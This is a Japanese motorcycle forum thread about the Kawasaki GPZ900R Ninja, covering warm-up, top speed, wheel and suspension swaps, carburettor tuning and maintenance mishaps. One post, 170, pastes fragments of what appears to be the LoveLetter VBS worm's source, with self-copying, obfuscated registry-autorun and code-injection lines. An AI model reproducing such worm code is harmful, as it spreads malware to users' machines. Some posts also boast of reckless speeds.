ちなみにその時も革ジャン革パンチョップリケにオフブーツでした。
そしてバイクはXLR…。(w
131:７７４ＲＲ
05/10/24 00:06:31 Z2g+OpcI
今日２０年来の夢だったニンジャをショップに頼んできたのですが
暖気の時アイドリング状態だとオイルが回らないので
チョーク引かないとと言われたのですが、本当？
本当ならどれ位チョーク引いてるの？
132:７７４ＲＲ
05/10/24 02:34:01 oXhgtBHG
>>131
チョークは引いても引かなくてもどちらでも。
アイドリングは2000回転くらいでOK。5分も10分もやるのはNG。
3分くらいしたら、そろりそろりと走りだす。
あ、あと気をつける点はサイドスタンド状態じゃなくてきちんと直立状態でエンジンかけるのが望ましい。
クラッチを握りながらエンジンかけるのがさらに望ましい。
以上のことがニンジャ乗りの常識かな？
133:(≠´∀`ョ) ◆XXZOJFA9.s
05/10/24 09:41:38 l6BsxOma
暖気ぜんぜんしないや・・・
エンジンかけたら低回転の徐行ですみやかに住宅地を脱出しちゃう。
大きな通りにでたらすぐ５０００位で走ってる。とめて暖気するより
温まるのが速いし・・・これってﾔﾊﾞｲですかね・・・。
134:７７４ＲＲ
05/10/24 10:32:34 6Ve/H3i+
俺の恥ずかしかった立ち後家1
友人と別れ際に低速で手を振ってたらフラついて足着こうと思ったら足場がなくて田んぼに逆立ち
俺の恥ずかしかった立ち後家2
気分よく高速を飛ばしてICにで金払ったあと領収書を落とした
拾おうと思ったらバランス崩してゆっくり倒れた
抜いて行った車と交通調査員の視線が俺の顔を熱くさせた
てかさっき走ってたら電気系が死んでプラグにも火が飛ばなくなったんだが
とあるSAでバイク屋待ち
ヒューズにも問題ないのに
もうお手上げ
135:７７４ＲＲ
05/10/24 10:35:55 cOGpZ8y6
>>134
つ 【ＳＯＳスレ】
136:７７４ＲＲ
05/10/24 14:52:54 qNa5eC4Q
＞1見たんですけど忍者に合うタイアがなくなってきてるんですか？
買いたいと思ってるのに
137:７７４ＲＲ
05/10/24 15:13:55 yoU7nkRF
>>133
俺も一緒
暖気してたら近所の目が怖いんで・・・
負荷を掛けずにﾕｸｰﾘ走ればｲｲと思うんだがどうでしょう？
138:７７４ＲＲ
05/10/24 18:21:32 sH91kHG8
それでいいです
問題皆無
139:７７４ＲＲ
05/10/24 19:57:10 GluOntFg
>>133、>>137
と一緒。10秒ぐらい2000回転で回して
3000ぐらいでトロトロと走る。
その前までは2～3分暖めてたけど
「うるせーよ。今度やったらバイク蹴り倒すぞ！」
と怒られました。
140:７７４ＲＲ
05/10/24 20:15:31 o0GYNaF1
長い暖機不要でつ。
5～10秒の暖機でノープロでつ。
ただし真冬は少し長めにね。
141:７７４ＲＲ
05/10/24 21:37:41 FBjpT6ua
Ａ７の逆車なんですけど最高速が２７０㌔なんですけどみなさんの最高速教えて下さい 改造はマフラー位です
142:７７４ＲＲ
05/10/24 22:29:54 oXhgtBHG
>>139
その人の気持ちもわかるけど、ひどすぎるな。
もうちょっとやさしく注意してほしいもんだよね。
>>141
180キロでビビリミッター。参考になんなくてごめんね。270もでれば上出来じゃない？
143:７７４ＲＲ
05/10/24 23:09:19 FBjpT6ua
はい上出来だと思ってますただ気になったので聞いてみました。北海道なので結構スピード出しやすい所あるんですよ
144:７７４ＲＲ
05/10/24 23:14:15 Na31mn20
>>139
その人はお前の無配慮な暖気に長い間我慢してたんだろうけど
蹴り倒された場合、器物損壊でウマーな予感。
でもな、周りの住民への配慮も必要だよ。
住宅地のまんなかで2～3分も暖気されたら俺でも怒る。
>>141
出るのか？ってゆうか殺人未遂だな。
そんなことここに書くようなもんじゃないよ。
145:７７４ＲＲ
05/10/24 23:20:14 FBjpT6ua
出ました！！書いたらダメですか すいません 一応元最速のバイクなんで気になってしまいました
146:(≠´∀`ｮ) ◆XXZOJFA9.s
05/10/24 23:49:25 pXF7ZdRA
ノーマル丁数のスプロケですか？
147:７７４ＲＲ
05/10/24 23:51:14 ATu6F15m
＞一応元最速のバイクなんで
マフラ交換のみのニンジャが何処の最速なんだ？
148:131
05/10/24 23:57:37 3q96dcDe
皆さんありがとうございます
参考にさせていただきます
ノーマルなのに音の大きさにちょっとビビッテまました
最近のバイクって静かになったのね～
ちなみにＡ１０の逆車
ショップでは思い切りサイドスタンドだったなぁ・・・
149:７７４ＲＲ
05/10/24 23:58:31 FBjpT6ua
スプロケもノーマルです！！忍者が元世界最速だったという意味なんですけど
150:７７４ＲＲ
05/10/25 00:56:18 ZAUupFBw
ninjaってメーターいくつまであったっけ
151:７７４ＲＲ
05/10/25 01:17:13 z2aPxxJp
270・・・
152:７７４ＲＲ
05/10/25 01:23:59 REfVTYEo
俺のは３００㌔メーターに変えてますよ
153:MD22
05/10/25 01:41:10 gPs9j6j9
俺もエンジン掛けてソッコーで走り出すクチです。水温計の針がある程度の位置まで上がるまでは3～4000回転でｽﾞﾓｰｯと走ってます。
私事ですが、今日はフロントタイヤ交換しました。ホイールだけ外して会社でチェンジャー拝借してはめ替えました。バランス取ってないけど大丈夫かしら？
154:７７４ＲＲ
05/10/25 17:39:07 LhDssl/S
>144
すまん、住宅地のど真ん中で２～３分、いつも暖気、場合によっては、２歳の娘
が、後ろに乗ろうとするのを制止するのに、約５分ほど…今後気をつけます。
155:７７４ＲＲ
05/10/25 17:46:18 z2aPxxJp
暖気が終わる頃には大学に着いてる・・・・。
本格的に寒くなる前にツーリング行きたいな
156:７７４ＲＲ
05/10/25 22:46:37 HQCwk2mh
もまいら今月号のロードライダー買ったか？
ニンジャ特集だぞ！
157:(≠´∀`ｮ) ◆XXZOJFA9.s
05/10/25 22:49:18 f5BZK7iF
(≠;´３`ｮ)立ち読・・
158:７７４ＲＲ
05/10/26 00:38:51 NnkHjBp4
俺も明日立ち読みすっかな
159:７７４ＲＲ
05/10/26 02:14:06 xGl4cPJG
俺は明日絶対買う！
160:MD22
05/10/26 03:32:51 3ovik7ow
明日の休みの予定は本屋で立ち読(ry
161:MD22
05/10/26 03:34:29 3ovik7ow
↑空しい…。(-_-;)
162:７７４ＲＲ
05/10/26 09:07:47 uYovG71+
おっ、今日立ち読みして、よかったら、３つ下のを買います！
163:７７４ＲＲ
05/10/26 09:18:09 BY4d2kNV
>>141
メーター読みならそんなもんでは？。実速はもっと遅いけど。
そこから上は空力との戦いでしょう。当然フルカウルの方が有利だわな。
ただし、俺はアンダーなし、１７インチでスプロケ４７丁みたいな仕様で、
フルカウルでチャレンジしてないから、それ以上伸びるかは不明。
164:７７４ＲＲ
05/10/26 10:06:33 MngX62YU
年式のできるだけ新しいもので、だいたい60万くらいのを買いたいとおもってるんですが（だいたい97年くらい）、ギアがスコンと入らずガジガジって入るものってけっこうあるものでしょうか？
もしそれにあたってしまった場合、直す方法ってあるんでしょうか？
どなたかご教授よろしくお願いします
165:(≠´∀`ョ) ◆XXZOJFA9.s
05/10/26 13:56:32 THXBvN6I
270kmhも出ればもうおなかイッパイな気が…
５速10000rpm（速度はあえて書かないｗ）でも
「今前方に鹿でも飛び出てきたららどうぢよう！
ーｲﾔｧｧｧ。(((≠;ﾟДﾟｮ)))」とか想像しちゃうよ。
166:７７４ＲＲ
05/10/26 16:31:42 WFLFE64L
満足してますよ！！後軸１０３馬力はありました。エンジンの調子見の一つとしてみなさんの意見が聞きたかったので ノーマルスイングアームでＲ１８０ １７履けますか？１７０までが限界かなぁ？
167:７７４ＲＲ
05/10/26 19:04:50 AIx8Rpc8
履ける
168:７７４ＲＲ
05/10/26 21:40:06 ijczL5CV
もっとイケる
169:７７４ＲＲ
05/10/26 21:53:16 YKCFWVXl
>>164
自分のは、クラッチの油圧系のエア抜きをしたら少し良くなった希ガス。
Ninjaのミッションは後発の進化した物と比べてテーパーの角度が違うそうなので
クランクケースを割る機会があったら、新しい車種の物に組み替えてしまえば良くなると思う。
自分は鉄板入り安全靴や表面の硬い物を履いていれば、気になるほどフィーリングは違わないと
思うので、その手段で解決した気になっている。
170:７７４ＲＲ
05/10/27 00:09:15 R7qR66Es
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
171:７７４ＲＲ
05/10/27 14:16:25 XZJzAr2g
>>170
氏ね
172:７７４ＲＲ
05/10/27 16:00:21 tvSDRJSl
ニンジャに乗った後にZZR乗るとなんてスムーズ（全体的に）なんだ～って感じるよね。
それが楽しいかどうかは別としてね。
173:７７４ＲＲ
05/10/27 16:01:34 tvSDRJSl
ニンジャに乗った後にZZR乗るとなんてスムーズ（全体的に）なんだ～って感じるよね。
それが楽しいかどうかは別としてね。
174:７７４ＲＲ
05/10/27 19:46:07 s3JXkbZ5
店でまたがったときにあまりのでかさにビビリ、それ以来触れたこともないや。
おらはＧＰＺでいいだす。
175:A5乗り
05/10/27 19:57:18 LDrf2kt7
試乗会でＸＪＲとＺＸＲに乗った。乗る前は、カタログデータから考えて
「馬力も重さもほぼ同じなんだから、ビックネイキッドなんてニンジャより早い事ないだろう」
と思っていたが、走らせてみたらザクとガンダムくらいの性能差で驚いた。
176:７７４ＲＲ
05/10/27 20:06:30 rqu2LI9u
ＺＲＸだよね？
177:７７４ＲＲ
05/10/27 20:19:38 tvSDRJSl
というか、ガンダムとザクの差が分かってることは両方とも乗ったことあるって事か…
178:７７４ＲＲ
05/10/27 20:39:53 OqM09WcK
ZZRは忍者より取り回しが楽だね｡
179:７７４ＲＲ
05/10/27 22:51:50 TigNVu4m
ロードライダーの忍者特殊う
ウィリーのオリジナルフレーム車ってキャスター立ちすぎで変ぢゃね？
なんか追突事故車みてぇに見えるぜ。
理論とおりの使用でばっちしセッティング決まったーとーしても、
んー、これではなんか大事なあああ一番大事なものを失っているように感じるのーだが、オレわ。
180:７７４ＲＲ
05/10/27 23:11:52 odg6MpiP
ほんとだ・・・
追突事故車にみえなくない・・・
181:７７４ＲＲ
05/10/27 23:22:50 OqM09WcK
スタイリングは気にするなって事だろうな｡
速く走るより重要な事もあるってな｡
182:７７４ＲＲ
05/10/27 23:58:15 TigNVu4m
次ページの自動手品ＤＦＣのやつも結構キャスター立ってるようだけど
変に見えないなぁ
なんだろ、アンダーカウルとかカラーリングとかでなんとか
なるもんなんかいな？
183:７７４ＲＲ
05/10/28 00:05:44 NNPlST05
>>182
AMのDFCってメインフレームは忍者でそ?キャスターも変わってる?
184:MD22
05/10/28 00:07:19 ML+6dgiU
ロードライダー、俺も見たけど、確かにパッと見た感じは忍者の外装載せた別のバイク、って感じですね。
アレはアレで忍者に拘った結果だというのはひしひしと伝わってくるものはありますが。
しかしノーマルに毛の生えた位の改造(マフラー、ハンドル、サス、その他ちょこちょこと)がそのバイクっぽくて好きな俺にはあまり関係ない特集でしたなぁ。
185:７７４ＲＲ
05/10/28 00:16:41 Z0g5Q0nu
>>183
メインフレームってかバックボーン生かしてそん後側を切り貼り
してどーにでも変えられるよー つーことらしい。
まー色々いぢれていぢってくれる店とかあっていいよな忍者。
186:７７４ＲＲ
05/10/28 00:46:42 GQFWz4TP
ロードライダー、あれはあれでひとつの方向性と可能性。
わけのわからんボルトオンパーツでごてごて飾るよりもよほど
方向性が明らかでいいなあと思ったよ。
KawasakiがああいうNinjaを2006年モデルとして発売したら・・・
俺は買うなあ。やっぱり。
187:７７４ＲＲ
05/10/28 00:55:31 NNPlST05
GPZ1100とかZ1000とかはそういうとこ狙ってたっぽいが･･･
188:７７４ＲＲ
05/10/28 08:44:09 wZ//iS84
まぁ、そこまで手を入れる必要性を感じるかどうかだろうね。
レースで勝つためって目的があるなら、よろしいのではないかと思う。
それを見た一般人が、夢見てＤＦＣやウィリーの改造フレームを導入するのもアリではないかと。
ちなみに俺はいらないｗ
でもさ、どこのショップもみんなフレームをあんな風にいじりだしちゃったら嫌だね。
基本骨格＋αでどこまでイケルのかに挑戦するショップが消えないことを願います。
あのディメンションがあるからニンジャらしさがあるわけでしょ？
良くも悪くもそこがイイ。
189:774ＲＲ
05/10/28 09:34:10 BL74D3fX
今からロードライダー買ってきます！
190:７７４ＲＲ
05/10/28 15:15:41 ffkygnSX
初心者なんですが、初大型でニンジャ買ったら故障とか多くて大変ですか？後年式でも故障が多くて燃費悪いのでしょうか？
流れぶった切って低レベルな質問でごめんなさい。
191:MD22
05/10/28 16:30:36 ML+6dgiU
>>190
初大型で忍者っていう人は沢山いますから、さほど心配する必要はないと思いますよ。
車種毎の特有の弱点や注意事項は忍者にもありますが、それはどんなバイクにも言える事ですし、｢忍者だから壊れる｣｢忍者だから燃費が悪い｣という事もないです。
今ではたまに新車も店頭在庫で残ってる場合もありますが、現実的には中古で探すしかないでしょうから、予算があればA10以降の程度の良いのを見つけられれば良いですね。
192:７７４ＲＲ
05/10/28 17:23:08 6owEkoW2
むしろ初大型で忍者なら扱いやすいと思うよ
今のＳＳやでかいツアラーに比べると
193:７７４ＲＲ
05/10/28 17:33:16 JmPAyohd
DFC、ウイリーニンジャ、確かにすごくカッコいい。
定番リア17インチ化、ケツ下がりのつじつま合わせとして車高調、エキセンで対処…
しかしピボット位置が変えられない限り、スイングアーム垂れ角、及びキャスター角度の問題は依然残ったまま。
まともに走らせるのはそもそも不可能。そんな悩みをDFCとかウィリーのフレームカスタムなら最新SSのディメンションが得られ、
解決するだろう。
だが、漏れとしてはそこまで金を掛けるなら、単純にZRXとかGPZ1100にニンジャの外装、タンクなんかを
くっつける方が遥かに安くて合理的ではないかと思うのだが。
194:７７４ＲＲ
05/10/28 21:04:13 NNPlST05
>>193
合理的以外の何かが重要な場合もあるのだよ｡
195:７７４ＲＲ
05/10/28 21:37:16 cdR4X4tY
193>>、 194>> 何をもってして、それぞれニンジャをニンジャと主張するかではないかと思うのだが｡
ちなみに自分にとってニンジャとは、エッジの効いたアッパーカウル、そして全体的な流れるような美しい、しかも無骨で野蛮なフォルム。
それが全て｡ それさえ崩れなければ、エンジン換装しようがフレームぶった切ろうが、それで性能アップするならば無問題。
これをやっちまったらニンジャじゃなくなるっていう分岐点みたいなもんは、カスタムする上でヒジョーに曖昧、かつ主観に委ねられるところであるかと。
人によっちゃあ、カワサキ純正オイル使用でなければニンジャでないという香具師もいるし、そうかと思えば
フレーム以外全て社外パーツでもニンジャだと主張する香具師もいる。
要は思い入れがどこにあるかってこと。みんなはニンジャのどこフェチでつか?
196:７７４ＲＲ
05/10/28 22:06:22 mhisP6d+
FCRセッティング中ですが、『ギクシャク感、加速時の息つき』と『もたつき、加速不良』の違いがわかりませぬ。誰かおせ～てｸﾀﾞｻﾚ
197:７７４ＲＲ
05/10/28 22:21:16 QmvWI5WW
ギクシャク感＝びっくりしながらシャックリ
加速中の息つき＝一服できる加速
もたつき＝オタクに追いつかれる加速
加速不良＝がに股でフル加速＆蛇行
198:７７４ＲＲ
05/10/28 22:25:29 mhisP6d+
わかりやすい解説ありがと。なんとなくわかった様な気がします。
↑たぶん…
199:７７４ＲＲ
05/10/28 22:30:12 mhisP6d+
みなさんは加速ポンプの吐出タイミングは出荷時のままですか？
200:７７４ＲＲ
05/10/28 22:30:32 NNPlST05
ギクシャク感＝一応高回転まで回るがスムーズに吹けない細かい息つき｡
加速中の息つき＝回転上昇中に谷がある､ひっかかる
もたつき＝アクセル開度に回転がついてくるのに間がある
加速不良＝レスポンスが悪い
201:７７４ＲＲ
05/10/28 22:37:25 mhisP6d+
さらにわかりやすい解説ありがと。当方ﾖｼﾑﾗが入ってるのですが、4000rpm以下はかなりスカスカです。面研してないとこんなもん？
202:７７４ＲＲ
05/10/28 22:57:14 NNPlST05
37ですか?39ですか?39の方が誤魔化しやすいよ｡あとセッティングに関しては
ファンネル仕様の方がハマりにくい｡ついでに言うと忍者のエンジンは直キャブ
マフラー4-1に換えてる位なら低速は期待できません｡
203:７７４ＲＲ
05/10/28 23:14:52 mhisP6d+
39でロングファンネル、devilｴｷﾊﾟｲにｼｮｯﾄｶﾞﾝｻｲﾚﾝｻｰの1039ccです。一ヶ月くらい格闘してますが、なかなか思うようになりませんね。まあ、すんなりいかない所もﾌﾟﾗｲﾍﾞｰﾄ改忍者乗りにはビミョーに快感なんですけどね。
204:７７４ＲＲ
05/10/28 23:35:18 NNPlST05
>>203
まず､ショートファンネルにしたほうがいいよ｡こだわりなら仕方ないけど｡
あとデビルも｡あくまで楽にセッティング出そうと思うならね｡
がんばってちょ｡
205:MD22
05/10/29 01:39:27 WaWKJonz
>>195
何をもって忍者(GPZ900/750R)と定義するかと言うと、人それぞれでしょうが、個人的には車検証の形式がZX900AまたはZX750G(｢改｣含む)だったら有りかな、と思います。
ゼファーをいくらカスタムしてもZ1/Z2とは言わないのと同じで、違うバイクに忍者の外装移植しても、それは忍者とは言わないと思ってます。
やっぱり俺もアッパーカウルの造形とか全体の見た目が好きですねぇ。洗車して綺麗にした後とか、缶コーヒー片手に一服しながら自分のバイクを眺めて｢ｶｺｲｲ、漏れの忍者…｣と、客観的に見るととてもｷﾓい事を思っております。
FCRとかはさっぱりわからんです。キャブセッティングも今だに無理ぽです。頑張ってセッティング出して下さいです。
206:７７４ＲＲ
05/10/29 08:02:10 5JkKH8kK
>MD22
ｵﾏｴここに居ても必要ないから、もう来なくてもいいぞ(笑
207:７７４ＲＲ
05/10/29 11:57:49 CNUEvQRm
>>205 レスサンクス｡なるほどね、やっぱりフレームまでは変えたくないっていうのが
正直なところだね。自分もやっばし基本骨格はニンジャのままでが本音かな｡なんでかっつうと、
おそらくバイクを人に見立てて、エンジンなら心臓、フレームなら骨格、脊髄、
アッパーカウルであれば顔そのもの…。てなかんじで、大事な部分はオリジナルのままで
残しておきたいからかなぁ。交換ならともかく、切削切除となるとちょっと気が萎える
っていうのがあるかな。
208:MD22
05/10/29 15:32:17 WaWKJonz
>>206
ヽ(`Д´)ﾉ
209:７７４ＲＲ
05/10/29 18:34:10 NPkRwrY5
素朴な疑問だがZRXやCB1300のインジェクションはキャブのような鼓動を
感じられるのだろうか?
ニンジャのあのボウッボウッボウッというアイドリングの鼓動がたまらなくて
乗り換えられないのだが・・・
210:７７４ＲＲ
05/10/29 20:19:48 mQFQ7NQo
>>209
それならそれでいいんじゃないの
ちなみにZRXはいつからインジェクションになったの？
211:７７４ＲＲ
05/10/29 20:49:33 cdzBhOlk
キャブの鼓動なのか?確かにFI車にはなさそうだが｡
まあ､FCRとかにすればいいんじゃね?
212:７７４ＲＲ
05/10/29 20:57:44 DGz7OMRa
>>209
知ったかブリコ
213:７７４ＲＲ
05/10/29 21:20:43 Jdgvjo9V
ZRXはまだキャブですよ。
214:７７４ＲＲ
05/10/29 21:55:08 Dphb/NKk
脳内ｲﾝｼﾞｪｸｼｮﾝｲｲ!! つ［ﾊﾟﾜ独楽］
215:７７４ＲＲ
05/10/30 10:36:13 C/dR1d9X
ワイのニンジャは インジェクション
216:７７４ＲＲ
05/10/30 15:48:30 l9df6jdR
オレのはｲﾝｸｼﾞｪｯﾄ
217:７７４ＲＲ
05/10/30 17:29:30 GCZKTfBV
sirane
218:７７４ＲＲ
05/10/30 17:31:44 YoD6lEcw
漏れのはハックション
219:７７４ＲＲ
05/10/30 22:22:46 v0ppb++p
聞いてくれ！！！！！
今日100ｋｍ/hぐらいで走ってたらななんかリアブレーキがスカスカになってたんだ
まあ帰ってから見たらいいかと思って放って走ってたんだけどよ、
数分してなんかリアの方から変な音がするから降りて見てみるとさ、
なんかチェーンが張ってるしブレーキが急に直ったりパンクはしてないし何でって
暗かったし家までもってくれよと思いつつまた走り出したんだ
リアの挙動がおかしい
さらにチェックを進めていくと、なんとリアアクスルシャフトのナットが取れてた
お前らも気をつけろ
220:７７４ＲＲ
05/10/30 22:24:20 JSkfsdWe
アクスルのピン入れてた?
221:７７４ＲＲ
05/10/30 22:42:25 4rTQJ8BH
>>220
ニンジャはエキセン式だから（というわけでもないけど）
割りピン入らないのでは？
と社外スイングアームの俺が言ってみた。
222:７７４ＲＲ
05/10/30 22:43:00 ldn8Seqi
それって
ただの整備不良だろ
223:７７４ＲＲ
05/10/30 22:44:34 JSkfsdWe
>>221
ごめんピンじゃなくてクリップみたいな奴ですね｡アクスルの左右に入る｡
224:７７４ＲＲ
05/10/30 22:46:09 ldn8Seqi
>>221
しっとるくせに割りピンとか言って
何気に自慢してるだけだろｗ
225:７７４ＲＲ
05/10/30 23:05:27 v0ppb++p
整備不良なのか？
最近そこらへん触ってなかったから徐々に緩んだのかな
8月末に車検通したばかりなのに・・・・・・・
とりあえず部品注文してレーシングスタンドで上げて直すか
今は紳士服屋の裏に放置中orz
226:７７４ＲＲ
05/10/30 23:17:40 39GrixKk
割りピン 緩み止めナット ロックナット仕様
以外で閉めこんで安心してるのも整備不良じゃないのかな・・・・
ナットが取れてるなんて論外確定の整備不良でしょ。
227:MD22
05/10/30 23:37:05 SWSDEf4J
アクスルシャフトのナットが取れてるって、大事に至らなくて何よりですね。
車検はユーザー車検かバイク屋に出したのかは知りませんが、車検通したばか
りだから大丈夫、って思い込むのはどうかなぁ？
とエンジンマウントボルト全部緩んでた俺が偉そうに語ってみた。
228:７７４ＲＲ
05/10/31 00:52:59 +h1aXgZL
なんかおかしい・・・
と思いつつ確認なしで走り続けられるなんて凄いですね。
229:７７４ＲＲ
05/10/31 01:13:20 0H5ISjTS
バイク屋で車検代行
定期点検整備の項目全部見てもらった
何かの拍子でフルード漏れが起こったんだろうと思って
雨降ってたし真っ暗だし路側帯狭いしフルードでは滑らないと思って走り続けた
おまえらは整備の時に毎回そんなとこまでチェックしてるもんなの？
次はネジロック塗っておかないと不安
230:７７４ＲＲ
05/10/31 01:22:33 QP0yCT6T
クリップさえあればそう簡単にはナットは取れないよ､つかたまには
増し締め汁
231:７７４ＲＲ
05/10/31 01:40:44 HN1ZUa0W
>>229
命預けてるの忘れるなよ
だからバイク海苔餓鬼言われるんだな
バイク好きなら意地でもバイクで死なないぐらい思えよ。
食中毒とかがベストだなｗｗ
232:７７４ＲＲ
05/10/31 05:00:43 hbTcewG+
Ｒ１７にしたらサスも変えないとダメなのですか？後スタンドも？
233:７７４ＲＲ
05/10/31 07:34:18 WG6Q93CB
サスは絶対条件
センスタは入れるタイヤの太さによる
234:７７４ＲＲ
05/10/31 08:25:28 I2vw1jeu
リア17インチにする奴がセンスタOKなエキパイを使っているとは思えん。
スタンドってサイドスタンドのことじゃないの？
>>232
17インチにするだけならサスもスタンドも変える必要はねーよ。
普通に走るし、スタンド使って駐輪も問題ない。
ただ、思いっきりケツ下がりになるけどな。
それがいやならロングサスで補正しろ。
車高調ロッドはリンク比が変わるからオススメしない。
そして車高あげるとサイドスタンドが地面に届きにくくなる。
そのままスタンド掛けるとメチャメチャ傾いた状態で不安。
だからサイドスタンドもロングタイプに換えるんだ。
あと、お前はどーせ解っていないと思うけど
チェーンスライダー（ローラー）やチェーンガイドなども交換が必要。
ちゃんとした状態でニンジャ乗りたいなら
ホイール以外のパーツも考慮しろって事だ。
235:７７４ＲＲ
05/10/31 08:37:45 G73Mg/3i
( ﾟ,_ゝﾟ)
236:７７４ＲＲ
05/10/31 10:04:05 hbTcewG+
ありがとございました。 サイドスタンドです。つかもう注文はしたんですけど金の事を考えて安く見積もったんですよ！！やっぱりＲショック オーリンズも頼みます つかホイールだけ頼む奴はいないですよｗ
237:７７４ＲＲ
05/10/31 18:16:02 /5GSpBki
>234
なにこのロードライダー暗記するまで読んでるぜみたいな文章は
>17インチにするだけならサスもスタンドも変える必要はねーよ。
本当に本当に君はホイール17インチにして他何もしないで走ったことあるの？
不気味な操縦性に泣きたくなるぞ。
238:７７４ＲＲ
05/11/01 00:01:39 nFeNogFl
１７インチにしただけならフツーに走る？
ツレが見た目だけで盆栽忍者が流行った頃に純正流用で１７インチやってた
の思い出した。それで・・・「忍者なんかいじってもこんなもんだ」
と乗り換えた。
オレもそれに乗ったが・・・ノーマルの方がよかったよ。
太いタイヤとホイール履けばマグでもなければバネ下重くなる。
せめて動きの良いサスにしないとね。それとエキセン逆ずけ！
このぐらいでフツーに走る・・・かな？
ちなみにマイ忍者君は１７インチ用オーリンズ、マグ、
目の字断面スイングアーム ツレの失敗見て考えた結果だね。
バネ下軽いよ。ZZRのC型ノーマルよりコーナー楽しいよ＾＾
まぁパワーはまけてるけど・・・
239:７７４ＲＲ
05/11/01 00:15:24 fuWz1Ixj
はいはい、ワロスワロス。
240:７７４ＲＲ
05/11/01 03:33:03 mJsCp2Uu
238 やっぱりオーリンズは必要ですよね！！ありがとうこざいます。また貯金が無くなっていく(;_;)
241:７７４ＲＲ
05/11/01 03:58:24 0Sl2c0i6
>>238
「普通」ってのは「問題無い」じゃないん？
「問題無い」ってのは「ぶれない 寄らない カタカタしない」ってな
もんだしょ？世間的にはさ
車検通るバイクが世間では「普通」なんだから責めないの。
242:７７４ＲＲ
05/11/01 06:56:41 5xqd2Ctd
目の字断面のスイングアーム､特にウィリーのは重い｡個人的にはかっこいいと
思うけどね｡
243:７７４ＲＲ
05/11/01 08:00:36 HIPawFmF
なにこれ！ワラタ！
URLﾘﾝｸ(page10.auctions.yahoo.co.jp)
244:７７４ＲＲ
05/11/01 08:14:11 6Efn1Zey
>>243
あれは笑う以前の問題
245:７７４ＲＲ
05/11/01 10:16:43 0O6ugvng
そのとおりー
246:７７４ＲＲ
05/11/01 21:34:19 XC/IOhBM
>>241
確かにその通りですね。普通に乗れば普通に走ります。
>>240
オーリンズがんばって下さい。長く同じバイクと付き合う気持ちが有れば
高い買い物では無くなるとおもいます。オレみたいなヘタレライダー
でもコーナーの気持ちよさは格段にあがりますし、オーバーホールが出来る
ので性能も長く維持できます。
文化の日・・・天気良いといいなぁ
247:７７４ＲＲ
05/11/01 23:47:04 2eVRGAx7
つまらない質問ですみません。
パワフィルは雨の日乗れないっていうのは何でしょうか？？
248:７７４ＲＲ
05/11/02 00:25:07 QrS8YVYt
249:７７４ＲＲ
05/11/02 01:48:48 pNWAB6Zo
特に問題なし
250:７７４ＲＲ
05/11/02 07:08:30 QpZJ+WjT
>>247
つまらん質問の以前に
>何でしょうか？？って
何がナニよ？？？
ないの間違いか？
251:７７４ＲＲ
05/11/02 09:52:55 gp1uw21k
uzai
252:７７４ＲＲ
05/11/02 12:49:04 skP+3HPr
おい、お前ら。
忍者がえらい事になってますよ。（ｗ
URLﾘﾝｸ(www.hido.or.jp)
253:７７４ＲＲ
05/11/02 14:29:17 oqe7ewCm
なぜGPZ
254:７７４ＲＲ
05/11/02 14:34:49 osYlqSpa
>>252
これオールペンしてるね。
Rホイールも変えてるし、マフラーもアップタイプでｶｺｲｲ。
サブフレームとかシートとか微妙にカスタムされてて
そのカスタム具合が派手じゃなくてすごく好感持てるな。
だが･･･この箱はなんとかならんのか？ETC･･･orz
255:７７４ＲＲ
05/11/02 15:07:56 JKxCwPyD
このニンジャ、テールのリフレクターついてないね
法的にはこれで公道を走っちゃいけないんじゃ？
準役所的な組織なのにずいぶんおおらかだなｗ
それはともかくＡ６以前のミラーやセパハンなど
こういうカスタムはおれも好きだな
256:７７４ＲＲ
05/11/02 18:45:14 6JDvBiKz
このテールレンズもNGだね。
257:７７４ＲＲ
05/11/02 18:52:29 cslMIXeW
でもテールレンズはGPz400F(だっけ?)がOKだからいけるんじゃね?
258:７７４ＲＲ
05/11/02 20:08:09 gp1uw21k
ロードライダーに乗ってたＲＳ２５０のシートカウルつけたＮｉｎｊａ
なぜか痺れた
259:７７４ＲＲ
05/11/02 20:59:33 BYLTiCbg
>>255
そんなみっともない物
付けてんのオメー位じゃねーのか
260:７７４ＲＲ
05/11/02 22:16:51 lSfHzwxX
他の趣味にはまってニンジャを売ろうと決意。
お別れ前に乗ってみるか、と久々に引っ張り出してそこらを走り回ってみた。
あれ？こんなに曲がるのどんくさかったっけ・・・エンジンの調子はいいんだけど。
タイヤの空気を入れてみる。ついでにチェーンも調整してみる。
おおっこれだよこれ。マフラーぐらいしか変えてないけどやっぱり楽しい。
で、
帰宅してニンジャのパーツとか探してネット見てる自分がいる。
またバイク熱に火ついて散財の日々か？＿|￣|○
261:７７４ＲＲ
05/11/02 22:19:37 cslMIXeW
売ってから気付かなくてよかったじゃないか｡
262:７７４ＲＲ
05/11/02 22:27:11 oqe7ewCm
Ａ６以前のミラーの方が見た目はいいような気が
263:７７４ＲＲ
05/11/02 22:28:45 cslMIXeW
うｐハンだと見にくくなるけど､かっこいいね｡
264:７７４ＲＲ
05/11/02 22:43:20 KUWKJTBq
もまえら突撃の時間でつよー
URLﾘﾝｸ(page7.auctions.yahoo.co.jp)
265:７７４ＲＲ
05/11/02 22:46:19 cslMIXeW
ところで､どのカラーリングが好き?やっぱ赤/黒?
俺は青/銀なんだけど｡
266:７７４ＲＲ
05/11/02 22:58:37 1laRVaZc
もちろん Ａ２ライム！
267:７７４ＲＲ
05/11/02 23:02:35 oqe7ewCm
黒/青があればいいんだが
268:７７４ＲＲ
05/11/02 23:03:51 fsc5UB7E
>>265
俺は青/銀が良かったが見つからなくて
Ａ７の赤/黒で妥協した。
・・・外装取り替えない？(ｗ
269:７７４ＲＲ
05/11/02 23:06:36 cslMIXeW
俺は青/銀が気に入ってしまったので｡
クラフトマンのマグハイスロが欲しいこのごろ｡
270:７７４ＲＲ
05/11/02 23:17:58 IX4CEwkV
オレのはA9の青/銀、おとなしくって良い。
つや消しグレーも戦闘機っぽくて良いと思う。
271:７７４ＲＲ
05/11/03 10:14:18 ZNlhe0IF
A13の黄/黒が好き。
誰か外装譲ってくれ。
272:７７４ＲＲ
05/11/03 10:31:14 e/Rami9N
A9の青/銀は中古タマ数少なし。
規制後の青/銀は少し色目が違う。
A9の方、大事に乗ってください。
